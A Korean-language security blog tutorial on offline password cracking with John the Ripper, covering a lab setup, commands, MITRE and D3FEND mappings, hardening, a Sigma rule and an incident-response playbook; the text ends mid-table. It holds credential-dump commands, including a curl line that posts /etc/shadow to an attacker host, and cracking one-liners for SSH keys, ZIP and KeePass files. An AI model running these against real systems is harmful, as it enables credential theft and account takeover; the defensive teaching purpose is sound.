
John the Ripper 심층 분석 및 실무 가이드
- 본질: 암호화된 패스워드 해시(Hash)를 평문(Plaintext)으로 복원하기 위해 사전 대입(Dictionary), 무차별 대입(Brute-force), 룰(Rule) 기반 변형 공격을 수행하는 고성능 오프라인 크래킹 도구
- 위협 및 목적: 타겟 시스템에서 탈취한 `/etc/shadow` 또는 SAM 데이터베이스를 공격자 로컬 환경에서 크래킹하여, 탐지를 회피한 채 최고 관리자 권한(root/SYSTEM) 획득 및 측면 이동(Lateral Movement) 수행
- 대응 방안: KDF(Key Derivation Function) 기반의 강력한 해시 알고리즘(Argon2, yescrypt) 적용, OS PAM 룰셋 하드닝, 그리고 해시 파일 접근에 대한 FIM(파일 무결성 모니터링) 및 관제(SIEM) 연동
목차 (Table of Contents)
본 포스팅의 보안/해킹 관련 실습은 허가된 통제 환경(개인 VM 및 합법적 모의해킹 계약 범위)에서만 수행되었습니다. 허가되지 않은 타인의 시스템에 대한 무단 접근, 스캐닝 및 데이터 추출 시도는 「정보통신망 이용촉진 및 정보보호 등에 관한 법률」 제48조 위반으로 강력한 형사처벌 대상입니다. 모든 분석은 벤더사 공식 레퍼런스 및 NVD 공인 데이터를 기반으로 방어적 엔지니어링을 위해 작성되었습니다.
1. 아키텍처 및 랩(Lab) 토폴로지
- 난이도: 중급 (Intermediate)
- 주제 분류: 시스템 보안 / 인증 보안 / 로그 분석 / 모의해킹
- 핵심 키워드:
#JohnTheRipper#PasswordCracking#CredentialDumping#Hash - 사전 지식: 리눅스 계정 인증 구조(
/etc/passwd,/etc/shadow), 해시 함수(MD5, SHA-512), GPU 병렬 컴퓨팅
💡 Tip: 모바일 환경에서는 표를 좌우로 스크롤하여 상세 내용을 확인하세요.
| 구분 | OS / 플랫폼 (버전 필수) | 컨테이너 / 인프라 환경 | IP 대역 | 인프라 내 역할 |
|---|---|---|---|---|
| 공격 (Red) | Kali Linux 2026.1 | Native VM (GPU 연동) | 10.0.0.50/24 |
John the Ripper (Jumbo) 구동 및 오프라인 크래킹 |
| 타겟 (Target) | Ubuntu 22.04 LTS | Baremetal / VM | 10.0.0.100/24 |
취약점 존재 호스트, 해시 파일 탈취 대상 노드 |
| 방어 (Blue) | Graylog 5.x / Wazuh | 온프레미스 중앙 관제망 | 10.0.0.200/24 |
FIM(File Integrity) 모니터링 및 주요 파일 접근 관제 |
[실전 아키텍처 토폴로지]
그림 1: 오프라인 패스워드 크래킹 아키텍처 및 탈취 플로우
2. 핵심 개념 및 기술적 정의
2-1. 상세 정의 및 동작 메커니즘 전수 나열
- 정의 1 (학술적): 다양한 해시(Hash) 및 암호화 알고리즘으로 보호된 인증 자격 증명(Credentials)을 입력받아, 역연산이 아닌 고속 해시 생성 및 평문 대조를 통해 원본 비밀번호를 찾아내는 오프라인 크래커입니다.
- 정의 2 (실무적): 모의해킹(Pen-Testing) 시 타겟의 시스템에서 추출한 NTLM, SHA-512 커스텀 해시 등을 로컬의 막강한 연산 자원(GPU/CPU)을 활용해 깨뜨린 후, 횡적 이동(Lateral Movement)에 사용하는 핵심 무기입니다.
- 탄생 배경 1 (레거시): 초기 유닉스 시스템은
/etc/passwd에 해시를 평문처럼 공개해 두어 누구나 크래킹을 시도할 수 있었습니다. - 탄생 배경 2 (모던): 섀도우 패스워드(
/etc/shadow) 시스템이 도입되었으나, 권한 상승 취약점이나 LFI 등으로 파일이 유출되면 여전히 오프라인 크래킹의 타겟이 됩니다. - 인프라 내 역할: 인프라 밖(공격자의 로컬 환경)에서 구동되므로 타겟 서버에 부하나 네트워크 로그를 남기지 않는 스텔스(Stealth) 공격을 가능하게 합니다.
- 메커니즘 단계 1 (Extraction): 타겟 시스템에서 해시 데이터(
shadow,SAM,Zip/PDF 해시)를 추출합니다. - 메커니즘 단계 2 (Preparation):
unshadow등의 보조 도구를 사용해 John이 파싱할 수 있는 포맷으로 데이터를 병합 및 정규화합니다. - 메커니즘 단계 3 (Execution): 사전(Dictionary), 룰(Rules), 인크리멘탈(Incremental) 모드를 통해 초당 수십만~수십억 번의 해시를 생성하여 타겟 해시와 비교(String Compare)합니다.
- 메커니즘 단계 4 (Response & Log): 일치하는 해시를 찾으면 로컬의
john.pot파일에 평문을 기록합니다. - 버전 히스토리: 기본 JtR 외에, 커뮤니티에서 수백 가지의 추가 해시 포맷과 GPU(OpenCL/CUDA) 가속을 지원하도록 개조한 John the Ripper Jumbo 에디션이 실무의 표준입니다.
2-2. MITRE ATT&CK & Kill Chain 매핑 (Full Spectrum)
| Kill Chain Phase | MITRE Tactic (전술) | Technique (기법) | ID |
|---|---|---|---|
| Exploitation | Credential Access | OS Credential Dumping: /etc/shadow | T1003.008 |
| Exploitation | Credential Access | OS Credential Dumping: Security Account Manager | T1003.002 |
| Weaponization | Credential Access | Brute Force: Password Cracking | T1110.002 |
| Weaponization | Credential Access | Brute Force: Password Guessing | T1110.001 |
| Privilege Escalation | Privilege Escalation | Valid Accounts: Local Accounts | T1078.003 |
| Defense Evasion | Defense Evasion | Obfuscated Files or Information | T1027 |
| Lateral Movement | Lateral Movement | Remote Services: SSH | T1021.004 |
| Actions on Objectives | Impact | Data Encrypted for Impact (랜섬웨어 연계) | T1486 |
3. 주요 특징 및 통신 규격 (Exhaustive Analysis)
3-1. 기술적 핵심 특징 10선
아키텍처 모델: CPU 기반의 코어 연산 최적화 모델. (Jumbo 버전은 OpenCL을 통한 GPU 병렬 가속 지원).지원 포맷: DES, MD5, SHA-256, SHA-512, NTLM, Kerberos TGT, ZIP/RAR/PDF 암호 등 수백 가지 포맷.단일(Single) 크랙 모드: 계정명, GECOS 필드(사용자 정보)를 기반으로 지능적인 변형 패스워드를 우선 대입.사전(Wordlist) 모드:rockyou.txt등 방대한 텍스트 파일의 단어를 해싱하여 대입.룰(Rules) 맵핑: 사전의 단어에 숫자 추가, 대소문자 변환, 특수문자 부착 등 자동 변형(Mangling) 기능 제공.인크리멘탈(Incremental) 모드: 문자셋(Charset)을 기반으로 모든 가능한 조합을 시도하는 순수 무차별 대입(Brute-force).상태 저장 (Session): 크래킹 진행 상태를.rec파일에 자동 저장하여 중단 후 재시작(Resume) 완벽 지원.자동 포맷 탐지: 입력된 해시 파일의 길이나 서명을 분석하여 알고리즘을 스스로 추론.도구 생태계:zip2john,ssh2john,pdf2john등 다양한 파일 포맷의 해시를 추출하는 전처리 스크립트 번들 포함.오프라인 스텔스: 네트워크 패킷을 발생시키지 않아 IDS/IPS, WAF, 로그인 실패 알람(Fail2Ban)을 완벽히 회피.
3-2. 실무 관점 장단점 (5 Pros & 5 Cons)
| 구분 | 시스템 관점 특성 상세 팩트 | 보안 및 인프라 운영 관점의 트레이드오프 |
|---|---|---|
| 장점 1 | [공격자] 오프라인 구동 구조 | 타겟 네트워크 방화벽 및 계정 잠금(Lockout) 임계치 완전 우회 |
| 장점 2 | [공격자] 다양한 전처리 도구(*2john) 제공 |
OS 계정뿐만 아니라 압축 파일, 문서 등 전방위적 자산 공격 가능 |
| 장점 3 | [공격자] 고도화된 Mangling Rules 지원 | 기업의 '비밀번호 생성 규칙(대문자+숫자+특수문자)'을 쉽게 타파 |
| 장점 4 | [방어자] 취약한 패스워드 선제적 색출 가능 | 사내 보안 감사(Audit) 시 임직원의 약한 패스워드를 식별하는 도구 |
| 장점 5 | [방어자] 네트워크 밴드위스 소모 없음 | 감사 목적으로 구동 시 운영 서버의 트래픽이나 서비스 성능에 영향 없음 |
| 단점 1 | [공격자] 타겟 해시 파일 사전 획득 필수 | /etc/shadow 등을 읽기 위한 1차 권한 상승(LPE) 선행 조건 필요 |
| 단점 2 | [공격자] KDF(Key Derivation Function) 해시 연산 부하 | bcrypt, Argon2 등 Cost가 높은 해시는 크래킹에 수백 년 소요 |
| 단점 3 | [방어자] 공격 자체를 네트워크 레벨에서 탐지 불가 | 방어자는 크래킹 행위가 아닌 '해시 유출 행위' 자체를 탐지해야 함 |
| 단점 4 | [방어자] 크래킹 성공 시 즉각적인 인프라 장악 | 오프라인 크래킹이 완료되면 적법한 계정으로 로그인하므로 탐지 극악 |
| 단점 5 | [공격/방어] GPU 최적화는 Hashcat 대비 부족 | 순수 GPU 병렬 처리 퍼포먼스는 Hashcat에 다소 밀리는 경향 존재 |
3-3. 타겟 인증 포맷 및 시스템 아킬레스건
| 인증 포맷 | 시스템 경로 / 데몬 | 보안 아킬레스건 및 크래킹 취약도 |
|---|---|---|
sha512crypt ($6$) |
/etc/shadow (Linux) |
기본 5000번 라운딩, GPU 최적화 시 초당 수십만 회 크래킹 노출 |
NTLM |
SAM 데이터베이스 (Windows) |
솔트(Salt)가 없어 레인보우 테이블(Rainbow Table) 및 사전 공격에 극도로 취약 |
bcrypt ($2a$) |
최신 Linux / 웹 프레임워크 DB | Cost(Work Factor) 파라미터가 낮으면 여전히 무차별 대입 대상 |
Kerberos TGT |
Active Directory (NTDS.dit) | AS-REP Roasting 등 유출 시 오프라인에서 TGS 티켓 위조 공격 노출 |
SSH Private Key |
~/.ssh/id_rsa |
패스프레이즈(Passphrase)가 약할 경우 ssh2john으로 쉽게 크래킹 |
4. 서버 인프라 및 파일 추출 구축 명세
4-1. 사전 요구 사항 (Dependencies)
- 공격 환경: Kali Linux (
john기본 설치, Jumbo 에디션) - 권한 제어: 대상 서버의
/etc/shadow를 읽기 위해서는 타겟 서버 내root권한 또는shadow그룹 권한 필수. - 사전 파일(Wordlist):
rockyou.txt(/usr/share/wordlists/rockyou.txt.gz압축 해제 필요)
4-2. 크리덴셜 덤프 및 정규화 셋업 (Step-by-Step Complete)
💻 크리덴셜 유출 및 전처리 스크립트
# [Step 1: 타겟 서버(10.0.0.100) - LPE를 통한 인증 파일 추출 (Red Team)]
$ cat /etc/passwd > /tmp/passwd.bak
$ sudo cat /etc/shadow > /tmp/shadow.bak
# [Step 2: 추출한 파일을 공격자 서버(10.0.0.50)로 안전하게 다운로드]
$ scp victim_user@10.0.0.100:/tmp/*.bak ./
# [Step 3: 공격자 서버(10.0.0.50) - unshadow 유틸리티를 통한 병합 및 정규화]
# passwd 파일의 GECOS 정보와 shadow 파일의 해시를 John이 인식할 수 있는 단일 포맷으로 결합
$ unshadow passwd.bak shadow.bak > unshadowed_hashes.txt
# [Step 4: 병합된 타겟 해시 파일 무결성 검증]
$ head -n 3 unshadowed_hashes.txt
# Output ex: root:$6$xyz...:0:0:root:/root:/bin/bash
# [Step 5: rockyou 사전 준비 (Kali 기준)]
$ sudo gzip -d /usr/share/wordlists/rockyou.txt.gz
5. 상세 명세 (명령어 / API / 프로토콜 전수 분석)
5-1. 기본 구문 및 명령어 구조 (Syntax)
📌 Syntax 표기법 (안전 파싱 모드)
{필수항목}: 반드시 입력해야 하는 값[선택항목]: 생략 가능한 옵션 값
# John the Ripper 글로벌 명령어 구조
john [크래킹_옵션] [룰/포맷_옵션] {타겟_해시_파일}
파라미터별 상세 설명 (인자 분해)
| 파라미터 | 필수 여부 | 타입 | 역할 및 설명 | 실전 값 예시 |
|---|---|---|---|---|
john |
필수 | 실행 파일 | JtR 메인 바이너리 (버전에 따라 /usr/sbin/john 등에 위치) |
john |
[크래킹_옵션] |
선택 | 스위치 | 워드리스트, 인크리멘탈, 싱글 모드 등 크래킹 전략을 결정 | --wordlist=rockyou.txt, --single |
[룰/포맷_옵션] |
선택 | 스위치 | 해시 알고리즘 강제 지정 또는 Mangling Rule셋 적용 | --format=raw-md5, --rules |
{타겟_해시_파일} |
필수 | 파일 경로 | 타겟 시스템에서 추출 및 unshadow된 계정 정보와 해시가 담긴 파일 |
unshadowed_hashes.txt, hash.txt |
5-2. 실행 옵션 및 제어 플래그 상세 목록 (10 Core Flags)
| 플래그 (단축 / 전체) | 동작 원리 및 매뉴얼 상세 설명 | 실전 명령어 예시 (Concrete Example) | 실무/보안 활용 관점 |
|---|---|---|---|
--wordlist= |
지정된 사전 텍스트 파일의 단어들을 기반으로 공격 | john --wordlist=pass.txt hash |
사용자의 흔한 비밀번호 및 유출된 DB 기반 크래킹 |
--rules |
john.conf에 정의된 규칙에 따라 사전의 단어 변형 | john --wordlist=pass --rules hash |
'password' -> 'Password123!' 자동 유추 파훼 |
--incremental |
설정된 문자셋으로 가능한 모든 조합을 무차별 대입 | john --incremental hash |
짧거나 사전에 없는 완전 무작위 패스워드 크래킹 |
--single |
계정명 등 사용자 고유 정보를 힌트로 활용하여 대입 | john --single hash |
'admin' 계정의 'admin123' 등 직관적 취약점 색출 |
--format= |
입력된 해시의 알고리즘 포맷을 명시적으로 강제 | john --format=NT hash |
자동 탐지 실패 시, 시간 낭비 없이 알고리즘 고정 |
--show |
john.pot 파일에 저장된 성공한 크래킹 결과 출력 |
john --show hash |
크래킹 세션 완료 후 평문 패스워드 리스트 열람 |
--restore |
이전에 중단된 크래킹 세션을 .rec 파일에서 복구 |
john --restore |
서버 재부팅 또는 장기간 크래킹 작업의 연속성 보장 |
--users= |
특정 계정명이나 UID를 필터링하여 공격 대상 제한 | john --users=root,admin hash |
전체 해시 중 권한이 높은 핵심 계정만 타겟팅 |
--format=raw-md5 |
Salt가 없는 순수 MD5 해시 크래킹 시 지정 | john --format=raw-md5 hash |
웹 애플리케이션 취약점으로 유출된 DB 해시 크래킹 |
--session= |
세션 이름을 지정하여 여러 크래킹 동시 실행 관리 | john --session=ssh_crack hash |
다중 타겟에 대한 크래킹 스케줄링 및 독립적 로깅 |
5-3. 비대화형 명령어 조합 실전 시나리오 (5 Non-Interactive Scenarios)
| 조합 시나리오 및 목적 | 실전 명령어 완성본 (Ready-to-Use) | 백그라운드 파싱 메커니즘 및 런타임 결과 |
|---|---|---|
| [기본 딕셔너리] Rockyou 사전 기반 고속 크래킹 | john --wordlist=/usr/share/wordlists/rockyou.txt hashes |
사전 내 수백만 개 단어를 타겟 해시 알고리즘으로 변환 후 대조 |
| [룰 기반 변형] 사전에 특수문자 규칙을 추가 | john --wordlist=rockyou.txt --rules hashes |
JtR 코어 규칙(Jumbo)을 적용하여 복잡도 조건을 우회함 |
| [포맷 강제] Windows NTLM 해시 집중 크래킹 | john --format=NT --wordlist=rockyou.txt sam_hashes |
NTLM 알고리즘으로만 연산하여 크래킹 속도를 극대화함 |
| [SSH 키 덤프] 암호화된 id_rsa 패스프레이즈 크랙 | ssh2john id_rsa > ssh.hash && john ssh.hash |
SSH 키의 구조를 JtR 포맷으로 변환 후 복호화 키 탐색 |
| [압축 파일] 비밀번호가 걸린 ZIP 아카이브 해제 | zip2john secret.zip > zip.hash && john zip.hash |
ZIP 헤더 내 서명 값을 추출하여 사전 공격 수행 |
5-4. 대화형 내부 명령어 상세 모듈 (Interactive Keyboard Commands)
크래킹이 진행 중인 상태에서 터미널에 키보드 입력을 통해 상태를 제어합니다.
| 입력 키 (Key) | 동작 및 타이핑 예시 | 기술적 동작 및 스택 변화 상세 설명 |
|---|---|---|
Space 또는 Enter |
(진행 중 아무 키 누름) | 현재까지의 시도 횟수(c/s), 경과 시간, 예상 남은 시간, 현재 대입 중인 단어를 터미널 STDOUT으로 즉시 출력 |
q 또는 Ctrl+C |
(크래킹 중단 시) | 현재 작업 지점(Offset)을 john.rec 파일에 저장하고 프로세스를 안전하게 종료 (Graceful Exit) |
6. 핵심 페이로드 치트시트 (Cheat Sheet)
6-1. 환경별 *2john 유틸리티 및 크래킹 전수 집합 (10 One-Liners)
| 공격 기법 (Vector) | 완전한 실전 명령어 원문 (One-Liner Example) | 런타임 결과 및 우회 목적 서술 |
|---|---|---|
| [Linux Shadow] | unshadow passwd shadow > h.txt && john h.txt |
기본 Linux 패스워드 해시 병합 및 크래킹 |
| [Windows SAM] | samdump2 SYSTEM SAM > win.hash && john win.hash |
레지스트리 덤프에서 NTLM 추출 및 크래킹 |
| [ZIP Archive] | zip2john protected.zip > zip.hash |
암호화된 ZIP 파일 헤더 해시 추출 |
| [RAR Archive] | rar2john secure.rar > rar.hash |
암호화된 RAR 아카이브 해시 추출 |
| [PDF Document] | pdf2john document.pdf > pdf.hash |
암호 설정된 PDF 문서의 Owner/User 해시 추출 |
| [SSH Private] | ssh2john id_rsa > ssh.hash |
암호화된 SSH 개인 키 패스프레이즈 해시 추출 |
| [Keepass KDBX] | keepass2john pass.kdbx > kp.hash |
Keepass 패스워드 매니저 마스터 암호 해시 추출 |
| [Show Cracked] | john --show h.txt |
완료된 평문 패스워드 텍스트 출력 (user:password) |
| [Custom Rule] | john --wordlist=rockyou.txt --rules=Jumbo |
Jumbo 에디션의 확장 룰셋을 적용하여 공격력 극대화 |
| [List Formats] | john --list=formats |
현재 시스템(JtR 버전)이 지원하는 모든 해시 포맷 조회 |
7. 심층 킬체인 워크플로우 (Deep Dive)
7-1. 취약점 식별 (CVE / CWE 6-Points List)
| 식별 코드 | 취약점 명칭 및 인프라 설계 결함 | CVSS v3.1 | 파급력 (Impact) | 대응/패치 |
|---|---|---|---|---|
CWE-256 |
[Unprotected Storage of Credentials] | — |
[계정 완전 탈취] | [암호화 및 최소 권한 뷰] |
CWE-521 |
[Weak Password Requirements] | — |
[Brute-force 노출] | [비밀번호 복잡도 PAM 룰 적용] |
CWE-916 |
[Use of Password Hash With Insufficient Computational Effort] | — |
[오프라인 고속 크래킹] | [bcrypt/Argon2 Cost 상향] |
Vulnerability Deep Dive: Weak Computational Effort in Hashing (CWE-916)
- 연관 식별자:
CWE-916 - 발생 원인 (Root Cause): 레거시 MD5(
$1$) 또는 연산 라운드(Rounds)가 낮은 SHA-512($6$)를 사용하여 해싱 속도를 늦추는 KDF 메커니즘이 부족한 구조적 결함. - 파급력 (Impact): 해시가 유출되었을 때, 공격자의 GPU 파워를 활용한 오프라인 크래킹이 단 몇 분 안에 완료되어 실질적인 계정 탈취(Account Takeover) 발생.
- 대응 방안 (Patch):
/etc/login.defs및 PAM 설정을 수정하여 SHA-512의 라운드 수를 50만 회 이상으로 강제하거나, 메모리 하드(Memory-Hard) 방식인 Argon2 (yescrypt)로 해싱 알고리즘 마이그레이션.
7-2. 킬체인 전개 스텝 분석 (Step-by-Step)
- 난이도: 고급 (Advanced)
- 전제: 애플리케이션 취약점(RCE/LFI 등)으로 인해 공격자가
/etc/shadow읽기 권한을 이미 확보. - 탐지 가능성:
Low(오프라인 연산이므로 네트워크 트래픽이나 서버 로그가 전혀 남지 않음)
Phase 1 — OS 크리덴셜 덤핑 (Credential Access)
# 1-1. LFI, 웹쉘, 또는 권한 상승(PrivEsc)을 통해 대상 서버의 인증 DB 탈취
$ cat /etc/shadow | curl -X POST -d @- [http://10.0.0.50/receiver.php](http://10.0.0.50/receiver.php)
Phase 2 — 로컬 오프라인 무기화 (Weaponization - Offline Cracking)
# 2-1. 타겟 서버와 무관한 공격자 물리 머신에서 JtR 가동 (GPU 환경)
$ unshadow /tmp/passwd /tmp/shadow > target.hash
$ john --wordlist=rockyou.txt --rules target.hash
Phase 3 — 목표 달성 및 횡적 이동 (Actions on Objectives)
# 3-1. 크랙된 평문 패스워드(admin:Winter2025!)를 이용해 SSH 역기동 및 내부망 침투
$ ssh admin@10.0.0.100
$ sudo -i # 취득한 패스워드로 sudo 권한 즉시 인가
7-3. 공격 타임라인 재구성 (Chronological Attack Flow)
| 타임스탬프 (T+) | 공격자 행위 (Attacker Action) | 사용 도구 / 명령어 | 발생 로그 및 탐지 포인트 (DFIR) |
|---|---|---|---|
T - 00:30 |
웹 애플리케이션 취약점 RCE 성공 | curl / 웹쉘 |
WAF: 비정상 악성 페이로드 주입 탐지 |
T + 00:00 |
[가장 중요] /etc/shadow 파일 읽기 |
cat /etc/shadow |
Auditd / FIM: shadow 파일 접근 이벤트 |
T + 00:05 |
탈취한 데이터를 공격자 서버로 Exfiltration | nc / curl |
NIDS: 서버에서 나가는 비정상 아웃바운드 트래픽 |
T + 02:00 |
공격자 로컬에서 JtR 크래킹 완료 (오프라인) | john --show |
(서버 로그 없음. 탐지 절대 불가 구역) |
T + 02:05 |
획득한 평문으로 SSH 로그인 및 횡적 이동 | ssh target_user@IP |
auth.log: Accepted password for target_user |
8. 실전 침투 테스트 및 로그 관제 시나리오 (Pen-Testing Lab)
📘 Scenario A: 크리덴셜 덤프 탐지 및 인증 하드닝 대응 훈련
- 학습 목표: 방어자가 오프라인 크래킹 행위 자체를 막을 수 없음을 인지하고, 해시 추출 단계(Dump)에서의 탐지율 및 해시 알고리즘 하드닝을 통한 방어력 입증.
- 동작 원리: 공격자의 파일 접근 관제 -> 추출 방어 -> 크래킹 지연.
⚔️ Red/Blue Team 교전 시나리오
# [Step 1: Red Team - 취약한 웹 데몬 권한을 이용하여 /etc/shadow 우회 읽기 시도]
$ cat /etc/shadow > /tmp/out.txt
# [Step 2: Blue Team - Auditd/Wazuh를 통한 파일 무결성 및 접근 실시간 탐지 (SIEM)]
# Sigma Rule 매칭: "Sensitive File Access" - /etc/shadow 접근 프로세스(www-data) 식별
# 관제 대응: 즉각적인 해당 세션 Kill 및 해당 IP 인바운드 차단
# [Step 3: Red Team - (가정) 탈취 성공 후 JtR 크래킹 시도]
$ john --wordlist=rockyou.txt hashes.txt
# [Step 4: Blue Team - (사전 대응) KDF 알고리즘 하드닝 효과 검증]
# 기존 MD5($1$) 기반 해시는 1초 컷이었으나, Blue Team이 사전 적용한 yescrypt($y$) 해시는
# JtR 크래킹 속도가 초당 10H/s 이하로 저하되어 사실상 크래킹 불능 상태(수백 년 소요) 유도 성공.
9. 트러블슈팅 및 장애 대응 (5 RCA Scenarios)
| 에러 로그 (Symptom) / 증상 | 발생 원인 (Root Cause) | 해결책 (Resolution) | 조치 후 검증 커맨드 (Verification) |
|---|---|---|---|
No password hashes loaded |
JtR이 파일 포맷을 인식하지 못함 | unshadow 미수행 또는 잘못된 --format 지정 |
해시 파일 구조 점검 및 --format 생략 테스트 |
OpenCL error: Device not found |
GPU 연동(Jumbo 에디션) 드라이버 문제 | OpenCL/CUDA 드라이버 미설치 또는 권한 부족 | clinfo 또는 nvidia-smi 정상 동작 확인 |
fopen: rockyou.txt: No such file |
사전(Wordlist) 파일 경로 누락 | 절대 경로 지정 또는 gzip -d로 사전 압축 해제 |
ls -la /usr/share/wordlists/rockyou.txt |
Session aborted, saving status... |
시스템 리소스 부족 또는 수동 인터럽트 | --restore 플래그를 사용하여 세션 재개 |
john --restore |
UTF-8 encoding error |
NTLM 등 특정 해시와 사전의 인코딩 불일치 | 사전 파일을 UTF-8 포맷으로 강제 컨버팅 | iconv -f ISO-8859-1 -t UTF-8 rockyou.txt |
🛡️ Blue Team: 시스템 통제 및 방어 엔지니어링
오프라인 크래킹은 방어 인프라 밖에서 이루어집니다. 따라서 방어의 핵심은 "해시 파일의 유출 원천 차단"과 "유출되더라도 크랙할 수 없는 강력한 연산 복잡도(Cost) 부여"에 있습니다.
10. 방어 및 위협 헌팅 엔지니어링
10-1. MITRE D3FEND 매핑 (8-Points List)
| 방어 전술 (Tactic) | 방어 기법 (Technique) | 차단 원리 및 메커니즘 | ID (Code) |
|---|---|---|---|
Harden |
Strong Password Policy | pam_pwquality를 통한 복잡도/길이 강제화로 딕셔너리 공격 무력화 |
D3-SPP |
Harden |
Account Locking | (온라인 공격 억제) pam_faillock을 통한 무차별 대입 계정 잠금 |
D3-AL |
Detect |
File Integrity Monitoring | /etc/shadow 등 핵심 인증 파일의 접근(Read/Modify) 실시간 로깅 |
D3-FIM |
Isolate |
Executable Allowlisting | 웹 데몬 등 비권한 프로세스가 OS 명령어(cat, sh) 실행 원천 차단 |
D3-EA |
Isolate |
OS Access Control | SELinux 또는 AppArmor를 통해 권한이 탈취되어도 중요 파일 접근 제한 |
D3-OAC |
Evict |
Credential Eviction | 침해사고 발생 즉시 전사 패스워드 일괄 초기화 및 세션 강제 종료 | D3-CE |
Deceive |
Decoy File | 허위(Honey) 크리덴셜을 생성하여, 공격자가 이를 크래킹/접속 시 즉각 알람 | D3-DF |
10-2. 인프라 하드닝 및 시큐어 코딩 (10 Points Checklist)
- 알고리즘 업그레이드: 레거시 OS의 MD5/SHA-256 인증 체계를
yescrypt또는Argon2id로 마이그레이션. - 연산 복잡도(Cost) 상향:
SHA-512유지 시,/etc/login.defs에서SHA_CRYPT_MIN_ROUNDS를 500,000회 이상으로 설정. - 파일 접근 통제:
/etc/shadow파일의 소유권은root:shadow로 유지하고 퍼미션은 절대적0640또는000고정. - Auditd 커널 로깅:
/etc/shadow를 읽는 모든 프로세스(특히 루트 권한)를auditd데몬에 로깅 룰셋 적용. - 비밀번호 복잡도 강제:
libpam-pwquality를 설치하여 대문자, 특수문자, 최소 길이(12자 이상) 강제 적용. - 다중 인증 (MFA/2FA): 크리덴셜이 크래킹되더라도 접근을 막기 위해 SSH 접속 시 Google Authenticator 등 MFA 강제 연동.
- 계정 잠금 정책:
faillock을 적용하여 5회 로그인 실패 시 30분간 계정을 잠그고 관제 센터에 경보(Alert) 발송. - AppArmor 격리: Nginx, Apache 데몬 프로필에
/etc/shadow접근을 명시적으로 차단(Deny)하는 룰 적용. - SAM/LSASS 보호: Windows 서버의 경우, LSA Protection(RunAsPPL)을 켜고 Credential Guard 활성화.
- 정기적 보안 감사: 방어자(Blue Team) 측에서 정기적으로 JtR을 구동하여 임직원의 취약한(유출된) 비밀번호 색출 및 초기화.
[시큐어 인프라 패치 실제 적용 가이드: PAM 및 알고리즘 하드닝]
🛡️ Linux Config: /etc/login.defs & PAM
# 🚨 Before (취약한 패스워드 라운딩 설정: GPU 크래킹 노출)
ENCRYPT_METHOD SHA512
# 🛡️ After (안전한 설정: 해시 생성 라운딩 대폭 증가시켜 JtR 연산 속도 파괴)
ENCRYPT_METHOD SHA512
SHA_CRYPT_MIN_ROUNDS 500000
SHA_CRYPT_MAX_ROUNDS 500000
# 🛡️ Modern After (Ubuntu 22.04+ 권장: 메모리 하드 알고리즘 적용)
ENCRYPT_METHOD YESCRYPT
10-3. IaC 기반 보안 설정 템플릿
⚙️ YAML: auditd-rules.yml (Ansible)
# 방어 룰셋: 핵심 인증 파일 접근에 대한 커널 레벨 시스템 콜 추적
- name: Configure Auditd to monitor /etc/shadow access
lineinfile:
path: /etc/audit/rules.d/audit.rules
line: '-w /etc/shadow -p wa -k shadow_access'
notify: restart auditd
10-4. 인시던트 대응 절차 (10-Step IR Playbook)
| 단계 | 대응 행동 전체 리스트 | 담당 | 목표 타임라인 |
|---|---|---|---|
| 1. 탐지·분류 | SIEM(Auditd/Wazuh)에서 /etc/shadow 비정상 접근 경보 수신 |
SOC Analyst | T+0 |
| 1. 탐지·분류 | 해당 이벤트를 발생시킨 부모 프로세스(PPID)와 계정 확인 | SOC Analyst | T+5분 |
| 2. 초동 격리 | 크리덴셜 덤프가 확인된 호스트의 외부 네트워크(Egress) 격리 | IR Team | T+15분 |
| 2. 초동 격리 | 해당 시스템의 모든 액티브 세션 강제 종료(Kill) | SysAdmin | T+30분 |
| 3. 증거 수집 | 해당 프로세스가 탈취한 파일을 외부로 전송한 흔적(넷플로우) 조사 | Forensic Analyst | T+1시간 |
| 4. 원인 분석 | 초기 침투 벡터(Web RCE 등) 확인 및 파일 유출 여부 확정 | IR Team | T+2시간 |
| 5. 제거·복구 | 전사 계정(유출 대상) 비밀번호 즉각 초기화(Reset) 조치 | IAM Admin | T+4시간 |
| 5. 제거·복구 | 취약점 패치 및 OS 계정 MFA 적용 여부 100% 점검 | SysAdmin | T+6시간 |
| 6. 사후 분석 | 오프라인 크래킹 가정 하에 타겟 시스템 횡적 이동 시도 헌팅 | IR Manager | T+24시간 |
| 6. 사후 분석 | 인증 알고리즘(yescrypt) 강화 및 시스템 하드닝 롤아웃 | Sec-Engineer | T+48시간 |
10-5. 침해사고 분석 (DFIR) 침해지표 (8 IoCs)
| IoC 유형 (Type) | 지표 데이터 (Value) | 연관 분석 (Context) |
|---|---|---|
Auditd Event |
type=SYSCALL ... name="/etc/shadow" |
인가되지 않은 프로세스(웹/DB)가 인증 DB를 읽은 흔적 |
Process |
cat /etc/shadow, cp /etc/shadow /tmp/ |
가장 흔한 원시적 형태의 크리덴셜 파일 덤프(복사) |
Process |
tar -czf auth.tar.gz /etc/passwd /etc/shadow |
추출한 인증 데이터베이스를 반출하기 위한 압축 포장 |
Net Traffic 1 |
덤프 직후 발생하는 HTTP/FTP 아웃바운드 트래픽 | 공격자 서버(C2)로 해시 데이터 Exfiltration 시도 |
Auth Log 1 |
덤프 발생 직후 미상 IP에서의 SSH 로그인 성공 | 크래킹 성공 후 획득한 평문 크리덴셜을 이용한 침투 |
Auth Log 2 |
짧은 시간 내 다수의 Failed password 로그 |
오프라인이 아닌 온라인 무차별 대입(Brute-force) 동반 |
File Name |
sam.save, system.save (Windows) |
레지스트리에서 NTLM 해시 덤프 생성 후 방치된 흔적 |
Process (Win) |
lsass.exe 메모리 덤프 (procdump, mimikatz) |
Windows 환경 메모리 내 평문/NTLM 해시 탈취 흔적 |
10-6. 위협 헌팅 및 탐지 룰셋 (Purple Teaming)
1. Graylog / ELK SIEM 중앙 관제 — Sigma Rule
- MITRE ATT&CK Mapping:
T1003.008(OS Credential Dumping: /etc/shadow)
📝 YAML: sigma_rule.yml
title: Detect Suspicious Access to /etc/shadow
status: stable
logsource:
category: linux_audit
detection:
selection:
type: 'PATH'
name: '/etc/shadow'
filter_legit:
# 정상적인 인증 관리 데몬은 탐지에서 제외
exe:
- '/bin/su'
- '/usr/bin/sudo'
- '/usr/sbin/sshd'
- '/usr/sbin/cron'
condition: selection and not filter_legit
level: high
10-7. 보안 점검 체크리스트 (7 Audit Items)
| 점검 항목 | 점검용 확인 명령어 (CLI) | 규정된 안전 기준 (Compliance) |
|---|---|---|
| 해시 알고리즘 점검 | grep ENCRYPT_METHOD /etc/login.defs |
SHA512 이상, 권장 YESCRYPT 유지 |
| 파일 권한 및 소유권 점검 | ls -l /etc/shadow |
